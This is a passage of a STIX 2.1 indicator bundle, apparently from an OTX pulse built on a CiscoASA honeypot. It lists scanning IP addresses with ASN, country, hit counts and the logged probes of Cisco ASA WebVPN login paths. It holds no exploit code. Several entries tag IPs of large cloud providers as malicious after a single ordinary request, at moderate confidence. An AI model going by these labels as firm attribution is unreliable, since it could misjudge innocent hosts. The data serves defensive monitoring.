      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--48173616-bb59-4db7-8a44-74cb1a141362",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.123.144.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T15:18:35.969Z",
          "last_seen": "2026-05-03T15:18:35.969Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--018bf356-1842-422f-b0e9-f27ebe005bdb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T14:31:28.238Z",
          "last_seen": "2026-05-27T21:12:54.804Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a102e703-8369-486e-99e1-5b82d4c735ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-03T15:03:19.665Z",
          "last_seen": "2026-05-09T00:00:23.711Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--895ecf1a-d3f4-4c88-92e8-3b39d798fdb3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.239.146.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T15:05:48.203Z",
          "last_seen": "2026-05-03T15:05:48.203Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--76b58a8e-2638-4a6d-8353-73899334669d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.239.146.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T15:05:43.384Z",
          "last_seen": "2026-05-03T15:05:43.384Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 211486 (Alferov Aleksey Aleksandrovich)",
      "id": "indicator--44c0bd1f-948b-4e3b-98b2-41ac7c65bfb9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '94.26.0.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:20:10.000Z",
      "valid_until": "2026-06-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T15:05:32.241Z",
          "last_seen": "2026-05-03T15:05:32.241Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 211486,
          "as_org": "Alferov Aleksey Aleksandrovich",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--35f22a0a-a33d-400e-a077-70a4d71f4a3b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:20:09.000Z",
      "valid_until": "2026-06-04T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-03T17:10:12.347Z",
          "last_seen": "2026-05-30T01:38:50.187Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--21cd1c49-b755-4dbd-a897-cc9ea8c2b4b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:20:09.000Z",
      "valid_until": "2026-06-04T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-03T16:24:06.647Z",
          "last_seen": "2026-05-30T13:18:40.820Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--18830ead-a980-466a-bcfa-48b2028acfb8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:20:09.000Z",
      "valid_until": "2026-06-04T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-03T16:22:57.377Z",
          "last_seen": "2026-05-27T10:33:26.795Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T17:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--1ddb8362-88a6-4f7c-a16e-a42c68aad925",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:20:09.000Z",
      "valid_until": "2026-06-04T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T17:09:35.829Z",
          "last_seen": "2026-05-27T17:14:06.733Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2e6a8728-0008-4d4f-b0a8-d270a572ad88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:20:10.000Z",
      "valid_until": "2026-06-04T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-03T17:53:01.039Z",
          "last_seen": "2026-05-26T01:14:38.420Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6247045e-ee6b-44b1-b782-e9a8ea4c3c60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:20:10.000Z",
      "valid_until": "2026-06-04T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-03T18:08:05.037Z",
          "last_seen": "2026-05-22T23:25:14.216Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--678f4078-8691-40dd-af8f-f635e02f0436",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:20:10.000Z",
      "valid_until": "2026-06-04T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-03T17:24:55.848Z",
          "last_seen": "2026-05-26T09:07:45.428Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--9cec2c85-18b3-4c26-9982-5cf85b7f8a2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.219.171.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:20:10.000Z",
      "valid_until": "2026-06-04T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T20:13:32.695Z",
          "last_seen": "2026-05-03T20:13:33.246Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--09615e81-9f6e-40ef-99b0-d8aa881ce428",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:20:10.000Z",
      "valid_until": "2026-06-04T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-03T19:25:56.424Z",
          "last_seen": "2026-05-26T19:27:24.300Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--d5364081-3480-4139-9894-855b8073df55",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:20:10.000Z",
      "valid_until": "2026-06-04T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T20:20:52.313Z",
          "last_seen": "2026-05-03T20:20:55.315Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--28604c6e-2bf1-4a49-9e71-6d07bc4e2fa6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.227.162.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:20:10.000Z",
      "valid_until": "2026-06-04T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T21:33:17.495Z",
          "last_seen": "2026-05-03T21:33:24.741Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--8c1dbbb9-ff41-4f7b-a740-f99c88870d18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.6.113.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:20:04.000Z",
      "valid_until": "2026-06-05T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-04T00:54:03.167Z",
          "last_seen": "2026-05-04T00:54:03.167Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--44f61efc-aade-4ece-a095-9bafa18fe9fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.242.154.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:20:04.000Z",
      "valid_until": "2026-06-05T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-04T00:59:42.398Z",
          "last_seen": "2026-05-04T00:59:42.398Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T01:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--48fed715-800e-4efe-9028-43f550e18bc2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.89.202.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:20:04.000Z",
      "valid_until": "2026-06-05T01:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T00:54:08.173Z",
          "last_seen": "2026-05-09T01:09:46.745Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T02:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--c3787240-2968-4148-b994-da8876c7f341",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.36.112.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T02:20:03.000Z",
      "valid_until": "2026-06-05T02:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-04T01:27:26.421Z",
          "last_seen": "2026-05-04T01:27:28.002Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T02:20:03.000Z",
